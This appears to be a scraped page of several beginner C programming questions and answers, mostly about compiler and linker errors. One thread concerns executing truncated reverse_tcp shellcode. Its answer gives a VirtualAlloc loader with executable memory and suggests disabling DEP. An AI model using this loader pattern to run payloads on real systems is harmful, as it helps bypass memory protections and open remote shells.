I generated a new Xcode project in C and immediately looked at the assembly that it produces.
Here is the C code:
#include <stdio.h>
int main(int argc, const char * argv[]) {
// insert code here...
printf("Hello, World!\n");
return 0;
}
The assembly code is almost 400 lines. This seems like a bit much...
Can someone explain why this is?
Also what compiler does it use anyways?
Related
I encounter a problem when I try to execute a shellcode in C, (a basic reverse_tcp, pointing to a local address).
I started from the basics with the following code:
#define WIN32_LEAN_AND_MEAN
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <windows.h>
int main(int argc, char * argv[])
{
unsigned char shellcode[] = \
"\xfd\xab\xd2\xa9\xb1\x29\xe0\xdd\x38\x64\x51\x24\x9d\x0f\xdf"
"\x8a\xc2\x01\x0d\x2e\x6c\x9b\x86\xa9\x2e\x6f\xd9\xb3\x04\x4a"
"\x35\x1c\x0a\xc6\xe7\x18\xf4\xaf\x3e\xed\x4b\x5c\x1a\x08\x8b"
"\x71\x27\x5e\x20\xd1\x4d\xaf\x8f\x2d\x23\xe1\x68\x25\xf3\x19"
"\xd2\x7b\x5e\xca\x26\x2a\xc7\xa0\x98\x64\x72\x7b\x03\x05\xf0"
"\x46\x03\xdf\x19\x86\xfb\x04\xd0\x7d\xd9\xf8\xa0\xfb\x8c\xa0"
"\x2d\xb2\xcb\x7f\xde\x7c\xc4\xd4\xe6\x94\xde\x56\x81\x53\xfc"
"\x59\xe3\xfc\xb6\x7d\x50\x7e\xde\x6d\xf0\x8a\x33\x35\x99\xfc"
"\x66\x0c\x45\xf0\xdc\xcb\x49\x4d\xa1\x2f\xd7\xaf\x59\xdc\xcf"
"\x90\x8b\xd3\x7c\xb7\x7e\x6f\xa8\x15\xe4\x1d\xfd\xc2\xe7\x9d"
"\x15\x88\x8b\xfb\x3b\x30\x1d\x41\xe6\x22\xdf\x3f\x4f\xb8\xe3"
"\x65\x0d\xa8\xc1\x0a\x2d\xe9\x77\x7d\x84\x83\xa7\xfc\x29\x80"
"\x72\xcd\xcc\x68\xa1\x08\x35\xda\xba\x01\xe2\xe5\x01\xe9\x05"
;
int(*ret)() = (int(*)())shellcode;
ret();
}
return 1;
}
(I cut the shellcode for the example)
when I compile this .c file with visual studio community 2017, I get a few warnings about argv and argc that aren't used, and conversion from () to (void) in ret.
Then I try to execute the file, and i get an awesome "has stopped working".
So I launch the debug in visual studio,and here is what i get:
So this is an access violation error, but why? I searched on google, and it seems that this error can have many causes, but I can't figure why it happens to me.
You normally can't execute code in the .data section of an executable on Windows. The access violation occurs because you're trying to run code that isn't executable.
https://msdn.microsoft.com/en-us/library/windows/desktop/aa366553(v=vs.85).aspx
This is because .data section in PE is allocated without execute permission. Try this and disable DEP in linker settings if set
#include <Windows.h>
int main()
{
const char shellcode[] = ".......";
void *exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof(shellcode));
((void(*)())exec)(); ...
I am new to C programming and I am currently learning loops. In the below program,
#include<stdio.h>
main()
{
int i;
for(i=1;i++<=5;printf("%d",i));
}
i tried to compile in dev c++ compiler but it is giving error "[Error] ld returned 1 exit status"
You need to include the <stdio.h> header, and also, main needs a return type (int) and a return value. Changing the program to this will make it compile (at least it did using GCC) and run:
#include <stdio.h>
int main(int argc, char *argv[])
{
int i;
for(i=1;i++<=5;printf("%d",i));
return 0;
}
The quotes you used in the “%d” are illegal too, use normal quotes: "%d".
Apart from that, doing the printf inside the loop head might be legal, but it's pretty bad style. Usually in a for-loop you would have have initialization;condition;increment(or decrement or w/e) in the head, and do side-effects in the body of the statement.
I would try writing the for loop as:
for(i=1;i < 6;i++) { printf(“%d”,i); }
I have run this program manually on my notebook and i got Output 23456
Then i run this on Dev c++ and it is giving the same output 23456 without any error and i have just copied and pasted from ur question dun know why its showing error on ur runtime may be u have not saved it as C file
#include <stdio.h>
#include <stdlib.h>
int main(int argc,char *argv[])
{
system("PAUSE");
return 0;
}
After i Compiled the programme, i click run. it still tips me " project is not compiled" why? i am sorry, i am a new learner of c.
i am using dev c++, on xp, ctrl+F9 compile then ctrl+F10 run
it shows project is not compiled
multiple definition of main
Maybe in your project there is 2 Main function..
You should at least delete/change one..
if I see, there is 1-3.c and 1c.c
and the compile is error..
[Build Error]
CMIIW
Delete the file 1c.c. You cannot have two int main functions.
I am trying to learn C and I have just installed Xcode on my Mac. I wanted to run the first program that was already written
#include <stdio.h>
int main(int argc, const char * argv[])
{
// insert code here...
printf("Hello, World!\n");
return 0;
}
and got build failed.
I created a program in C. The libraries have been downloaded.
Thanks
Are you trying to learn C or Objective-C? As far as I know, XCode is only appropriate for Objective C.
Also, can you post your compiler error, that will help alot.
I have recently started learning C as a side project. I am working under OpenSuse with the latest NetBeans using the GCC as toolset for compiling.
One of the very first programs that I made was this:
#include <stdio.h>
#include <stdlib.h>
#include <math.h>
/*
*
*/
int main(int argc, char** argv) {
double rad = 1;
double result = 0;
result = sin(rad);
return (EXIT_SUCCESS);
}
This is a simple, no-brainer example that should have worked without a problem. However, I get a Build Error: Exit code 2(error in line 18, undefined reference to sin) when trying to compile.
Interestingly enough, if I remove the assignment of the value of sin(rad) to result OR replace rad with a hard coded value, the program compiles just fine.
What am I doing wrong here?
In C, you need to link to the math library:
Add this to the command line options:
-lm
Be sure that your are linking with the math library.
$ gcc myprog.c -lm